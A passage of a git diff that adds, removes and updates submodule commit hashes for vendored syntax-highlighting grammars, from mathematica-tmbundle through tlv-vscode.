+Subproject commit dd3a0c39e656bedd276d3bcbdea92a2d627755c7
diff --git a/vendor/grammars/mathematica-tmbundle b/vendor/grammars/mathematica-tmbundle
index 5067a25b9b..b61b94a294 160000
--- a/vendor/grammars/mathematica-tmbundle
+++ b/vendor/grammars/mathematica-tmbundle
@@ -1 +1 @@
-Subproject commit 5067a25b9b1c2b9a8bb0ed9fcfd63c73ff11277e
+Subproject commit b61b94a2944a55ebd602cc35a91760ce052f889c
diff --git a/vendor/grammars/matlab.tmbundle b/vendor/grammars/matlab.tmbundle
deleted file mode 160000
index 2cdc1f8414..0000000000
--- a/vendor/grammars/matlab.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 2cdc1f841443e4bc8b94f42f5e86431b31e04387
diff --git a/vendor/grammars/mediawiki.tmbundle b/vendor/grammars/mediawiki.tmbundle
index f8dead507a..6974604d7e 160000
--- a/vendor/grammars/mediawiki.tmbundle
+++ b/vendor/grammars/mediawiki.tmbundle
@@ -1 +1 @@
-Subproject commit f8dead507a1aed539376b9fcfde877a855842e8e
+Subproject commit 6974604d7e74bd5d7e262dfba839314b639d5a52
diff --git a/vendor/grammars/mint-vscode b/vendor/grammars/mint-vscode
new file mode 160000
index 0000000000..2de0c6ae29
--- /dev/null
+++ b/vendor/grammars/mint-vscode
@@ -0,0 +1 @@
+Subproject commit 2de0c6ae292a3b23d71fa2eebfbb48f0a0cfb66b
diff --git a/vendor/grammars/mlir-grammar b/vendor/grammars/mlir-grammar
new file mode 160000
index 0000000000..2b8d3029bc
--- /dev/null
+++ b/vendor/grammars/mlir-grammar
@@ -0,0 +1 @@
+Subproject commit 2b8d3029bcd9871b773707983ab2269a70ec2a0b
diff --git a/vendor/grammars/mojo-syntax b/vendor/grammars/mojo-syntax
new file mode 160000
index 0000000000..46eccdaeda
--- /dev/null
+++ b/vendor/grammars/mojo-syntax
@@ -0,0 +1 @@
+Subproject commit 46eccdaeda2b1587e9b82808cdb35670f359d16d
diff --git a/vendor/grammars/ninja.tmbundle b/vendor/grammars/ninja.tmbundle
deleted file mode 160000
index 89d9cf3330..0000000000
--- a/vendor/grammars/ninja.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 89d9cf333074a6f948053bbcf724281ec4a7adc6
diff --git a/vendor/grammars/nix b/vendor/grammars/nix
deleted file mode 160000
index cf33194bcc..0000000000
--- a/vendor/grammars/nix
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit cf33194bcca95b5aed3dfdfe7cbfbd617c8b7041
diff --git a/vendor/grammars/nix-linguist b/vendor/grammars/nix-linguist
new file mode 160000
index 0000000000..121b33169b
--- /dev/null
+++ b/vendor/grammars/nix-linguist
@@ -0,0 +1 @@
+Subproject commit 121b33169b266b6cb3d615dd580a6a8ddd17ab55
diff --git a/vendor/grammars/nu-grammar b/vendor/grammars/nu-grammar
new file mode 160000
index 0000000000..58e40adb3b
--- /dev/null
+++ b/vendor/grammars/nu-grammar
@@ -0,0 +1 @@
+Subproject commit 58e40adb3bfb31807796a8533d5ab53d52119f7b
diff --git a/vendor/grammars/nu.tmbundle b/vendor/grammars/nu.tmbundle
index 66e79b5e56..7beffd8cfc 160000
--- a/vendor/grammars/nu.tmbundle
+++ b/vendor/grammars/nu.tmbundle
@@ -1 +1 @@
-Subproject commit 66e79b5e56109af26d6c6c553921ff24505b4f83
+Subproject commit 7beffd8cfc2542b43ebfabd66998d0fd503d1bb0
diff --git a/vendor/grammars/objective-c.tmbundle b/vendor/grammars/objective-c.tmbundle
index fdcedb95de..d59562b094 160000
--- a/vendor/grammars/objective-c.tmbundle
+++ b/vendor/grammars/objective-c.tmbundle
@@ -1 +1 @@
-Subproject commit fdcedb95de8846220c49f769fee91045188767d9
+Subproject commit d59562b0948d4dae01eaee1a2b2bcde3b478404e
diff --git a/vendor/grammars/openscad.tmbundle b/vendor/grammars/openscad.tmbundle
new file mode 160000
index 0000000000..906f292f20
--- /dev/null
+++ b/vendor/grammars/openscad.tmbundle
@@ -0,0 +1 @@
+Subproject commit 906f292f2007b8e5062d79ab200427904aa77e49
diff --git a/vendor/grammars/pact-atom b/vendor/grammars/pact-atom
new file mode 160000
index 0000000000..c6710706c9
--- /dev/null
+++ b/vendor/grammars/pact-atom
@@ -0,0 +1 @@
+Subproject commit c6710706c90e5d6f9be52330a14a27af742c5af5
diff --git a/vendor/grammars/parrot b/vendor/grammars/parrot
new file mode 160000
index 0000000000..b56e84139f
--- /dev/null
+++ b/vendor/grammars/parrot
@@ -0,0 +1 @@
+Subproject commit b56e84139f2a8b75aa199a990d340b9a0463de16
diff --git a/vendor/grammars/pawn-sublime-language b/vendor/grammars/pawn-sublime-language
index 879fae6157..b83dab341b 160000
--- a/vendor/grammars/pawn-sublime-language
+++ b/vendor/grammars/pawn-sublime-language
@@ -1 +1 @@
-Subproject commit 879fae615707c5b0073d6ac9a28b701eb14a57b1
+Subproject commit b83dab341b1da7af10937a61d49349009c30f1ee
diff --git a/vendor/grammars/perl.tmbundle b/vendor/grammars/perl.tmbundle
index dedebdcfd4..a85927a902 160000
--- a/vendor/grammars/perl.tmbundle
+++ b/vendor/grammars/perl.tmbundle
@@ -1 +1 @@
-Subproject commit dedebdcfd43e7be93ea713c1932eb770fcbcea0d
+Subproject commit a85927a902d6e5d7805f56a653f324d34dfad53a
diff --git a/vendor/grammars/perl6fe b/vendor/grammars/perl6fe
deleted file mode 160000
index 7f646ac13a..0000000000
--- a/vendor/grammars/perl6fe
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 7f646ac13afbe87957e3ab9326d415031ce92b9a
diff --git a/vendor/grammars/php-smarty.tmbundle b/vendor/grammars/php-smarty.tmbundle
index 36c058a467..3888046662 160000
--- a/vendor/grammars/php-smarty.tmbundle
+++ b/vendor/grammars/php-smarty.tmbundle
@@ -1 +1 @@
-Subproject commit 36c058a467ba137e93a9f2cc691c268ac0b89c52
+Subproject commit 3888046662241e02f1a7a39eb14bc4844acc082e
diff --git a/vendor/grammars/php.tmbundle b/vendor/grammars/php.tmbundle
index 3ed4837b43..f22df8af84 160000
--- a/vendor/grammars/php.tmbundle
+++ b/vendor/grammars/php.tmbundle
@@ -1 +1 @@
-Subproject commit 3ed4837b43d3f650ebb525b068636281942883a0
+Subproject commit f22df8af8441f9010ffc3e2cf7edb648d5b2cc64
diff --git a/vendor/grammars/pkl.tmbundle b/vendor/grammars/pkl.tmbundle
new file mode 160000
index 0000000000..3cfd12a10a
--- /dev/null
+++ b/vendor/grammars/pkl.tmbundle
@@ -0,0 +1 @@
+Subproject commit 3cfd12a10a1e289365398842b5a2764e9e863fd8
diff --git a/vendor/grammars/polar-grammar b/vendor/grammars/polar-grammar
new file mode 160000
index 0000000000..590c3b1b6e
--- /dev/null
+++ b/vendor/grammars/polar-grammar
@@ -0,0 +1 @@
+Subproject commit 590c3b1b6eff477f9dde36f968c119c01f935f74
diff --git a/vendor/grammars/portugol-grammar b/vendor/grammars/portugol-grammar
new file mode 160000
index 0000000000..8c427b469e
--- /dev/null
+++ b/vendor/grammars/portugol-grammar
@@ -0,0 +1 @@
+Subproject commit 8c427b469e2288d4031eb51241b76d2fd44550c2
diff --git a/vendor/grammars/postscript.tmbundle b/vendor/grammars/postscript.tmbundle
deleted file mode 160000
index d0431d9562..0000000000
--- a/vendor/grammars/postscript.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit d0431d9562e295a2ed6e02ed14a60daa1eb8aa07
diff --git a/vendor/grammars/powershell b/vendor/grammars/powershell
index b4ea52c51c..a08b55bf11 160000
--- a/vendor/grammars/powershell
+++ b/vendor/grammars/powershell
@@ -1 +1 @@
-Subproject commit b4ea52c51c5111fdda1d24103082d9580472c31b
+Subproject commit a08b55bf1146c210f58e844be53c2aa78fd5e610
diff --git a/vendor/grammars/praatvscode b/vendor/grammars/praatvscode
new file mode 160000
index 0000000000..17f2d5eedf
--- /dev/null
+++ b/vendor/grammars/praatvscode
@@ -0,0 +1 @@
+Subproject commit 17f2d5eedf54c66b098d8db32956bda9e4bca090
diff --git a/vendor/grammars/protobuf-tmbundle b/vendor/grammars/protobuf-tmbundle
deleted file mode 160000
index 7a696473c6..0000000000
--- a/vendor/grammars/protobuf-tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 7a696473c6bcd28f3d3085a927ec6c39147e87ca
diff --git a/vendor/grammars/qsharp b/vendor/grammars/qsharp
new file mode 160000
index 0000000000..78ad29efd6
--- /dev/null
+++ b/vendor/grammars/qsharp
@@ -0,0 +1 @@
+Subproject commit 78ad29efd6b821cf8d1f98e44bbdd50a313dd91f
diff --git a/vendor/grammars/quake b/vendor/grammars/quake
new file mode 160000
index 0000000000..bd830b0d0e
--- /dev/null
+++ b/vendor/grammars/quake
@@ -0,0 +1 @@
+Subproject commit bd830b0d0e109ebb8b4b4415cf293e6be58af88b
diff --git a/vendor/grammars/r.tmbundle b/vendor/grammars/r.tmbundle
index 44691a0773..5dc52fc855 160000
--- a/vendor/grammars/r.tmbundle
+++ b/vendor/grammars/r.tmbundle
@@ -1 +1 @@
-Subproject commit 44691a07734715b11a130a4af409508f53f83aa1
+Subproject commit 5dc52fc8559e064150a7f4f6f5c60c31672f3494
diff --git a/vendor/grammars/rascal-syntax-highlighting b/vendor/grammars/rascal-syntax-highlighting
new file mode 160000
index 0000000000..3032840be2
--- /dev/null
+++ b/vendor/grammars/rascal-syntax-highlighting
@@ -0,0 +1 @@
+Subproject commit 3032840be267487b3dac153f7b7f4a1632af9e5d
diff --git a/vendor/grammars/razor-plus b/vendor/grammars/razor-plus
new file mode 160000
index 0000000000..c1fa4b2ee1
--- /dev/null
+++ b/vendor/grammars/razor-plus
@@ -0,0 +1 @@
+Subproject commit c1fa4b2ee1eebfffd02c65892dc0924030606b54
diff --git a/vendor/grammars/rescript-vscode b/vendor/grammars/rescript-vscode
new file mode 160000
index 0000000000..0b309d0376
--- /dev/null
+++ b/vendor/grammars/rescript-vscode
@@ -0,0 +1 @@
+Subproject commit 0b309d03764eb1448765276af54bf1e243196381
diff --git a/vendor/grammars/rez.tmbundle b/vendor/grammars/rez.tmbundle
new file mode 160000
index 0000000000..ad6f93f7c8
--- /dev/null
+++ b/vendor/grammars/rez.tmbundle
@@ -0,0 +1 @@
+Subproject commit ad6f93f7c882bfc45c208a477c0df23ca47afe72
diff --git a/vendor/grammars/riot-syntax-highlight b/vendor/grammars/riot-syntax-highlight
new file mode 160000
index 0000000000..6ffd29ce30
--- /dev/null
+++ b/vendor/grammars/riot-syntax-highlight
@@ -0,0 +1 @@
+Subproject commit 6ffd29ce303d73f2a838621beecc56525965c3b3
diff --git a/vendor/grammars/roc-vscode-unofficial b/vendor/grammars/roc-vscode-unofficial
new file mode 160000
index 0000000000..5580b983f3
--- /dev/null
+++ b/vendor/grammars/roc-vscode-unofficial
@@ -0,0 +1 @@
+Subproject commit 5580b983f3a1fc5d56f40a4bafd94b80dbcf93cb
diff --git a/vendor/grammars/ruby-haml.tmbundle b/vendor/grammars/ruby-haml.tmbundle
deleted file mode 160000
index 57b1b35231..0000000000
--- a/vendor/grammars/ruby-haml.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 57b1b3523136e3dce9479d46c1d3c16aaa7f8f70
diff --git a/vendor/grammars/ruby-slim.tmbundle b/vendor/grammars/ruby-slim.tmbundle
index 7452b27ea4..3b1441f89f 160000
--- a/vendor/grammars/ruby-slim.tmbundle
+++ b/vendor/grammars/ruby-slim.tmbundle
@@ -1 +1 @@
-Subproject commit 7452b27ea4aa8cbe19d99bd92aa40ac3560c6a93
+Subproject commit 3b1441f89fde40678c3c0ada6d75ce46417a35b6
diff --git a/vendor/grammars/ruby.tmbundle b/vendor/grammars/ruby.tmbundle
deleted file mode 160000
index 4bb5c2e315..0000000000
--- a/vendor/grammars/ruby.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 4bb5c2e315f5c6ca2931df0b43aeec55ace774e7
diff --git a/vendor/grammars/rust-syntax b/vendor/grammars/rust-syntax
new file mode 160000
index 0000000000..e90d3dbdb6
--- /dev/null
+++ b/vendor/grammars/rust-syntax
@@ -0,0 +1 @@
+Subproject commit e90d3dbdb61b96e4afdce6f7a3572426b1a86d9d
diff --git a/vendor/grammars/sas.tmbundle b/vendor/grammars/sas.tmbundle
index 012368ab93..bfc6897340 160000
--- a/vendor/grammars/sas.tmbundle
+++ b/vendor/grammars/sas.tmbundle
@@ -1 +1 @@
-Subproject commit 012368ab93235a4e4ff70785aaf2cbf5017e13fe
+Subproject commit bfc6897340448a700821b0930c05e951425eaabd
diff --git a/vendor/grammars/sass-textmate-bundle b/vendor/grammars/sass-textmate-bundle
deleted file mode 160000
index 95e492c5e8..0000000000
--- a/vendor/grammars/sass-textmate-bundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 95e492c5e85454ba005658cdb475710a2e96c63f
diff --git a/vendor/grammars/scala.tmbundle b/vendor/grammars/scala.tmbundle
deleted file mode 160000
index b15ed058e1..0000000000
--- a/vendor/grammars/scala.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit b15ed058e1d48394a3e36987507f5a8409c29684
diff --git a/vendor/grammars/scheme.tmbundle b/vendor/grammars/scheme.tmbundle
index 4c21b46583..aa710ce5c3 160000
--- a/vendor/grammars/scheme.tmbundle
+++ b/vendor/grammars/scheme.tmbundle
@@ -1 +1 @@
-Subproject commit 4c21b46583ef6e8adcfd09b417bbdd9579c6a4eb
+Subproject commit aa710ce5c38b1e479fa872b43291986f6762d363
diff --git a/vendor/grammars/secondlife-lsl b/vendor/grammars/secondlife-lsl
new file mode 160000
index 0000000000..0d7fb8982d
--- /dev/null
+++ b/vendor/grammars/secondlife-lsl
@@ -0,0 +1 @@
+Subproject commit 0d7fb8982d5fe6b1f7065dfbfe42d6e9eaf02251
diff --git a/vendor/grammars/selinux-policy-languages b/vendor/grammars/selinux-policy-languages
new file mode 160000
index 0000000000..502c96ccf3
--- /dev/null
+++ b/vendor/grammars/selinux-policy-languages
@@ -0,0 +1 @@
+Subproject commit 502c96ccf38476a627897209bf726fd4e40296b8
diff --git a/vendor/grammars/shaders-tmLanguage b/vendor/grammars/shaders-tmLanguage
new file mode 160000
index 0000000000..87c0dca3a3
--- /dev/null
+++ b/vendor/grammars/shaders-tmLanguage
@@ -0,0 +1 @@
+Subproject commit 87c0dca3a39170dbd7ee7e277db4f915fb2de14a
diff --git a/vendor/grammars/slint-tmLanguage b/vendor/grammars/slint-tmLanguage
new file mode 160000
index 0000000000..b0f91f4eb0
--- /dev/null
+++ b/vendor/grammars/slint-tmLanguage
@@ -0,0 +1 @@
+Subproject commit b0f91f4eb04731c9f868f382fba3fa5f5ea7840a
diff --git a/vendor/grammars/smali-sublime b/vendor/grammars/smali-sublime
index 60a1fdb344..36add49df8 160000
--- a/vendor/grammars/smali-sublime
+++ b/vendor/grammars/smali-sublime
@@ -1 +1 @@
-Subproject commit 60a1fdb3442cd7082036f1a02e403a5f725ed837
+Subproject commit 36add49df8c7d8dde1d5cf0d68c4098183b2714f
diff --git a/vendor/grammars/smalltalk-tmbundle b/vendor/grammars/smalltalk-tmbundle
index aea820788a..69b6ea767f 160000
--- a/vendor/grammars/smalltalk-tmbundle
+++ b/vendor/grammars/smalltalk-tmbundle
@@ -1 +1 @@
-Subproject commit aea820788aa0d81f74a4e4f9a3492a690d70e542
+Subproject commit 69b6ea767fb1a911931cdaa14cd980a2e675a1d0
diff --git a/vendor/grammars/smithy-vscode b/vendor/grammars/smithy-vscode
new file mode 160000
index 0000000000..d5d5d2fed1
--- /dev/null
+++ b/vendor/grammars/smithy-vscode
@@ -0,0 +1 @@
+Subproject commit d5d5d2fed1a52309d0048fc662c9b8eb597af684
diff --git a/vendor/grammars/sourcepawn b/vendor/grammars/sourcepawn
deleted file mode 160000
index 294d3ba097..0000000000
--- a/vendor/grammars/sourcepawn
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 294d3ba0972f0456d9d3f554dcd8f97b51aa4d40
diff --git a/vendor/grammars/sourcepawn-vscode b/vendor/grammars/sourcepawn-vscode
new file mode 160000
index 0000000000..ffee607a9f
--- /dev/null
+++ b/vendor/grammars/sourcepawn-vscode
@@ -0,0 +1 @@
+Subproject commit ffee607a9f8c7dd7d084e48256a4bcc0eeb21a1b
diff --git a/vendor/grammars/sprocket-vscode b/vendor/grammars/sprocket-vscode
new file mode 160000
index 0000000000..3003073d79
--- /dev/null
+++ b/vendor/grammars/sprocket-vscode
@@ -0,0 +1 @@
+Subproject commit 3003073d79c0dfb19546db416eb0db6df02983f9
diff --git a/vendor/grammars/squirrel-language b/vendor/grammars/squirrel-language
new file mode 160000
index 0000000000..e3fc608676
--- /dev/null
+++ b/vendor/grammars/squirrel-language
@@ -0,0 +1 @@
+Subproject commit e3fc608676caad0bc3fd6001dadae90590b697e0
diff --git a/vendor/grammars/st2-zonefile b/vendor/grammars/st2-zonefile
index 0d943fefb8..9768a7e2ae 160000
--- a/vendor/grammars/st2-zonefile
+++ b/vendor/grammars/st2-zonefile
@@ -1 +1 @@
-Subproject commit 0d943fefb815262804f0ae309b08221f34eda054
+Subproject commit 9768a7e2ae598e55453a9946b3e7e1d5668ced01
diff --git a/vendor/grammars/sublime-MuPAD b/vendor/grammars/sublime-MuPAD
index a0efbd5962..79c49b9808 160000
--- a/vendor/grammars/sublime-MuPAD
+++ b/vendor/grammars/sublime-MuPAD
@@ -1 +1 @@
-Subproject commit a0efbd596208f270d9ec92765ce07c25c8d5834c
+Subproject commit 79c49b98086b2b1e378496d69b7394f7347836cb
diff --git a/vendor/grammars/sublime-angelscript b/vendor/grammars/sublime-angelscript
new file mode 160000
index 0000000000..7144f39967
--- /dev/null
+++ b/vendor/grammars/sublime-angelscript
@@ -0,0 +1 @@
+Subproject commit 7144f399677f24eb571cb65800d694b16f5ade8f
diff --git a/vendor/grammars/sublime-aspectj b/vendor/grammars/sublime-aspectj
index 043444fc3f..c1928d2335 160000
--- a/vendor/grammars/sublime-aspectj
+++ b/vendor/grammars/sublime-aspectj
@@ -1 +1 @@
-Subproject commit 043444fc3f602e4845f4f07395cfa11804df760b
+Subproject commit c1928d2335a2958cdf69e06351d2c4118fc22ec8
diff --git a/vendor/grammars/sublime-autoit b/vendor/grammars/sublime-autoit
index d4e742a73a..2b2e950c7e 160000
--- a/vendor/grammars/sublime-autoit
+++ b/vendor/grammars/sublime-autoit
@@ -1 +1 @@
-Subproject commit d4e742a73afc8eb249f64736c43cb4976cafe9c8
+Subproject commit 2b2e950c7edb47da76d335fb205593bc83987a19
diff --git a/vendor/grammars/sublime-boo b/vendor/grammars/sublime-boo
new file mode 160000
index 0000000000..d71517d418
--- /dev/null
+++ b/vendor/grammars/sublime-boo
@@ -0,0 +1 @@
+Subproject commit d71517d4189bb82b031856fca961f0ad495a7d1a
diff --git a/vendor/grammars/sublime-cirru b/vendor/grammars/sublime-cirru
index 75674a73e1..5465b5ac17 160000
--- a/vendor/grammars/sublime-cirru
+++ b/vendor/grammars/sublime-cirru
@@ -1 +1 @@
-Subproject commit 75674a73e1fa27277e678f460f5eeeaa843fc423
+Subproject commit 5465b5ac1728bdee6bbfce8038eb368c6f06e720
diff --git a/vendor/grammars/sublime-cypher b/vendor/grammars/sublime-cypher
new file mode 160000
index 0000000000..0232d8c12b
--- /dev/null
+++ b/vendor/grammars/sublime-cypher
@@ -0,0 +1 @@
+Subproject commit 0232d8c12b10227f7a0061c39377132a02232d88
diff --git a/vendor/grammars/sublime-fantom b/vendor/grammars/sublime-fantom
new file mode 160000
index 0000000000..e5bef70a6c
--- /dev/null
+++ b/vendor/grammars/sublime-fantom
@@ -0,0 +1 @@
+Subproject commit e5bef70a6c10a173bc82a1a8ccb4087f3a2d3bd9
diff --git a/vendor/grammars/sublime-glsl b/vendor/grammars/sublime-glsl
index e29059b0d3..59a5f8a312 160000
--- a/vendor/grammars/sublime-glsl
+++ b/vendor/grammars/sublime-glsl
@@ -1 +1 @@
-Subproject commit e29059b0d38ad805362064e15dfb5d2a99a7e86e
+Subproject commit 59a5f8a3120358657cefdc4b830b4a883ebfbf77
diff --git a/vendor/grammars/sublime-mask b/vendor/grammars/sublime-mask
index 8b2a4b3300..ac22df6662 160000
--- a/vendor/grammars/sublime-mask
+++ b/vendor/grammars/sublime-mask
@@ -1 +1 @@
-Subproject commit 8b2a4b3300ef30f293218521cd2aa94335cad114
+Subproject commit ac22df66625ba1a2e0ddff73bc636a75d182acfb
diff --git a/vendor/grammars/sublime-nearley b/vendor/grammars/sublime-nearley
new file mode 160000
index 0000000000..e45515f8d2
--- /dev/null
+++ b/vendor/grammars/sublime-nearley
@@ -0,0 +1 @@
+Subproject commit e45515f8d2b54cb0e809bf723ddf6747c88523c4
diff --git a/vendor/grammars/sublime-netlinx b/vendor/grammars/sublime-netlinx
index a109318915..f4a70bd37a 160000
--- a/vendor/grammars/sublime-netlinx
+++ b/vendor/grammars/sublime-netlinx
@@ -1 +1 @@
-Subproject commit a109318915751ff318de4b4d3bfc34ee57cec921
+Subproject commit f4a70bd37a65d4cbd56b7fb4f393ed6c1d4dfbde
diff --git a/vendor/grammars/sublime-nginx b/vendor/grammars/sublime-nginx
index e72eb75814..f7a08a8c40 160000
--- a/vendor/grammars/sublime-nginx
+++ b/vendor/grammars/sublime-nginx
@@ -1 +1 @@
-Subproject commit e72eb758149317de9b79a14aee91e778b3dbd929
+Subproject commit f7a08a8c40caae3e423805dfe7b644d06c9ceff4
diff --git a/vendor/grammars/sublime-odin b/vendor/grammars/sublime-odin
new file mode 160000
index 0000000000..a6a2672ec0
--- /dev/null
+++ b/vendor/grammars/sublime-odin
@@ -0,0 +1 @@
+Subproject commit a6a2672ec0fd1a12ed4d8d221384128a73e026ae
diff --git a/vendor/grammars/sublime-opal b/vendor/grammars/sublime-opal
index 55ae90b910..d00af3d31b 160000
--- a/vendor/grammars/sublime-opal
+++ b/vendor/grammars/sublime-opal
@@ -1 +1 @@
-Subproject commit 55ae90b910933889d01c55766424db5b3e10332e
+Subproject commit d00af3d31b5aea29a3151ac2ac74b3e5195952bb
diff --git a/vendor/grammars/sublime-pony b/vendor/grammars/sublime-pony
index 02f37b174e..80f6c4dfbf 160000
--- a/vendor/grammars/sublime-pony
+++ b/vendor/grammars/sublime-pony
@@ -1 +1 @@
-Subproject commit 02f37b174ed42b77c81a6ecdd323455410b6a5d3
+Subproject commit 80f6c4dfbff2edc4e8546b33c983f4314de06630
diff --git a/vendor/grammars/sublime-promela-spin b/vendor/grammars/sublime-promela-spin
new file mode 160000
index 0000000000..e96c52c08f
--- /dev/null
+++ b/vendor/grammars/sublime-promela-spin
@@ -0,0 +1 @@
+Subproject commit e96c52c08f9d63164f8817b3170c12bf73d37432
diff --git a/vendor/grammars/sublime-q b/vendor/grammars/sublime-q
new file mode 160000
index 0000000000..236b80c1f3
--- /dev/null
+++ b/vendor/grammars/sublime-q
@@ -0,0 +1 @@
+Subproject commit 236b80c1f32fbcb16d9ee7487a6f35b62a946af0
diff --git a/vendor/grammars/sublime-rexx b/vendor/grammars/sublime-rexx
new file mode 160000
index 0000000000..e490bdbc0e
--- /dev/null
+++ b/vendor/grammars/sublime-rexx
@@ -0,0 +1 @@
+Subproject commit e490bdbc0e5b7e50a365cc69fcc140fb1231156b
diff --git a/vendor/grammars/sublime-rust b/vendor/grammars/sublime-rust
deleted file mode 160000
index 167018cc0f..0000000000
--- a/vendor/grammars/sublime-rust
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 167018cc0f76f51e3911c40af8faf914cb48f66f
diff --git a/vendor/grammars/sublime-shen b/vendor/grammars/sublime-shen
new file mode 160000
index 0000000000..a26b161adf
--- /dev/null
+++ b/vendor/grammars/sublime-shen
@@ -0,0 +1 @@
+Subproject commit a26b161adf8e79220f7e69b94c4e467757c23dad
diff --git a/vendor/grammars/sublime-spintools b/vendor/grammars/sublime-spintools
index 56d326a44e..c661bf71a2 160000
--- a/vendor/grammars/sublime-spintools
+++ b/vendor/grammars/sublime-spintools
@@ -1 +1 @@
-Subproject commit 56d326a44ec0be0f301d5fb1d9e1ada9944554bb
+Subproject commit c661bf71a25c3d99df2a2d08ba4bf0fd762af910
diff --git a/vendor/grammars/sublime-typescript b/vendor/grammars/sublime-typescript
deleted file mode 160000
index 0d538fc748..0000000000
--- a/vendor/grammars/sublime-typescript
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 0d538fc74884c812eece814acbe32e9bd8e28a3f
diff --git a/vendor/grammars/sublime-varnish b/vendor/grammars/sublime-varnish
index 4915dcb3f1..c129dce0f1 160000
--- a/vendor/grammars/sublime-varnish
+++ b/vendor/grammars/sublime-varnish
@@ -1 +1 @@
-Subproject commit 4915dcb3f130b0aedb96badffd963294194f1efe
+Subproject commit c129dce0f14f8605d64d094d72fdc47f59738512
diff --git a/vendor/grammars/sublime-zig-language b/vendor/grammars/sublime-zig-language
new file mode 160000
index 0000000000..1a4a38445f
--- /dev/null
+++ b/vendor/grammars/sublime-zig-language
@@ -0,0 +1 @@
+Subproject commit 1a4a38445fec495817625bafbeb01e79c44abcba
diff --git a/vendor/grammars/sublime_cobol b/vendor/grammars/sublime_cobol
deleted file mode 160000
index 7c60c10849..0000000000
--- a/vendor/grammars/sublime_cobol
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 7c60c10849c45a55203b352dcf0b212113a61caf
diff --git a/vendor/grammars/sublimeassembly b/vendor/grammars/sublimeassembly
index edb58c8246..38d3fd64e5 160000
--- a/vendor/grammars/sublimeassembly
+++ b/vendor/grammars/sublimeassembly
@@ -1 +1 @@
-Subproject commit edb58c8246fc92ab4003bb039b5e0d09c706574f
+Subproject commit 38d3fd64e5b981ac585f5c9e361647c09e208935
diff --git a/vendor/grammars/sublimeprolog b/vendor/grammars/sublimeprolog
index c71d8a1e0f..9e8e142e55 160000
--- a/vendor/grammars/sublimeprolog
+++ b/vendor/grammars/sublimeprolog
@@ -1 +1 @@
-Subproject commit c71d8a1e0f162165cd93d0e41acb7a8984d0b30f
+Subproject commit 9e8e142e55557465511338d5b26ca585cb729310
diff --git a/vendor/grammars/sublimetext-cuda-cpp b/vendor/grammars/sublimetext-cuda-cpp
index e51269fc22..2bf66d1532 160000
--- a/vendor/grammars/sublimetext-cuda-cpp
+++ b/vendor/grammars/sublimetext-cuda-cpp
@@ -1 +1 @@
-Subproject commit e51269fc22602d3f7aaac0266fc189c4ed4a3901
+Subproject commit 2bf66d15322717284a6d101f99ec8b72c98c1c1d
diff --git a/vendor/grammars/sublimetext-nasl b/vendor/grammars/sublimetext-nasl
new file mode 160000
index 0000000000..552a4eaeae
--- /dev/null
+++ b/vendor/grammars/sublimetext-nasl
@@ -0,0 +1 @@
+Subproject commit 552a4eaeae92745d250f67ab2972159dfc6e02b7
diff --git a/vendor/grammars/svelte-atom b/vendor/grammars/svelte-atom
new file mode 160000
index 0000000000..a5bd801966
--- /dev/null
+++ b/vendor/grammars/svelte-atom
@@ -0,0 +1 @@
+Subproject commit a5bd801966b30fcd67100f36196bca8cbeaccc87
diff --git a/vendor/grammars/sway-vscode-plugin b/vendor/grammars/sway-vscode-plugin
new file mode 160000
index 0000000000..050d092043
--- /dev/null
+++ b/vendor/grammars/sway-vscode-plugin
@@ -0,0 +1 @@
+Subproject commit 050d092043869ffdc6050add573d3ce6daae9d4f
diff --git a/vendor/grammars/sweave.tmbundle b/vendor/grammars/sweave.tmbundle
new file mode 160000
index 0000000000..d69ff113e7
--- /dev/null
+++ b/vendor/grammars/sweave.tmbundle
@@ -0,0 +1 @@
+Subproject commit d69ff113e77af07d46624095c413f5e60572a8fe
diff --git a/vendor/grammars/swift-tmlanguage b/vendor/grammars/swift-tmlanguage
new file mode 160000
index 0000000000..860eface42
--- /dev/null
+++ b/vendor/grammars/swift-tmlanguage
@@ -0,0 +1 @@
+Subproject commit 860eface4241cf9f2174d5fa690bd34389ac8d26
diff --git a/vendor/grammars/swift.tmbundle b/vendor/grammars/swift.tmbundle
deleted file mode 160000
index 662fd22bf8..0000000000
--- a/vendor/grammars/swift.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 662fd22bf8e6d2ed1dfcb5881c23838bad620404
diff --git a/vendor/grammars/syntax b/vendor/grammars/syntax
new file mode 160000
index 0000000000..2eeee061ec
--- /dev/null
+++ b/vendor/grammars/syntax
@@ -0,0 +1 @@
+Subproject commit 2eeee061eca93eb1a892e92307ff1251b5be90ee
diff --git a/vendor/grammars/syntax-mcfunction b/vendor/grammars/syntax-mcfunction
new file mode 160000
index 0000000000..458827b540
--- /dev/null
+++ b/vendor/grammars/syntax-mcfunction
@@ -0,0 +1 @@
+Subproject commit 458827b54015dd70dbc356574c964d22f02401a7
diff --git a/vendor/grammars/templ-vscode b/vendor/grammars/templ-vscode
new file mode 160000
index 0000000000..d0e87f9721
--- /dev/null
+++ b/vendor/grammars/templ-vscode
@@ -0,0 +1 @@
+Subproject commit d0e87f9721f29e60358ecae6b048700249764c12
diff --git a/vendor/grammars/textmate.tmbundle b/vendor/grammars/textmate.tmbundle
new file mode 160000
index 0000000000..e6c9b5e960
--- /dev/null
+++ b/vendor/grammars/textmate.tmbundle
@@ -0,0 +1 @@
+Subproject commit e6c9b5e9609da8c9157abf5f77b02eff87b24936
diff --git a/vendor/grammars/textproto-grammar b/vendor/grammars/textproto-grammar
new file mode 160000
index 0000000000..97efb45240
--- /dev/null
+++ b/vendor/grammars/textproto-grammar
@@ -0,0 +1 @@
+Subproject commit 97efb452403712938d9e2165e4c003e4a0ef6ace
diff --git a/vendor/grammars/tlv-vscode b/vendor/grammars/tlv-vscode
new file mode 160000
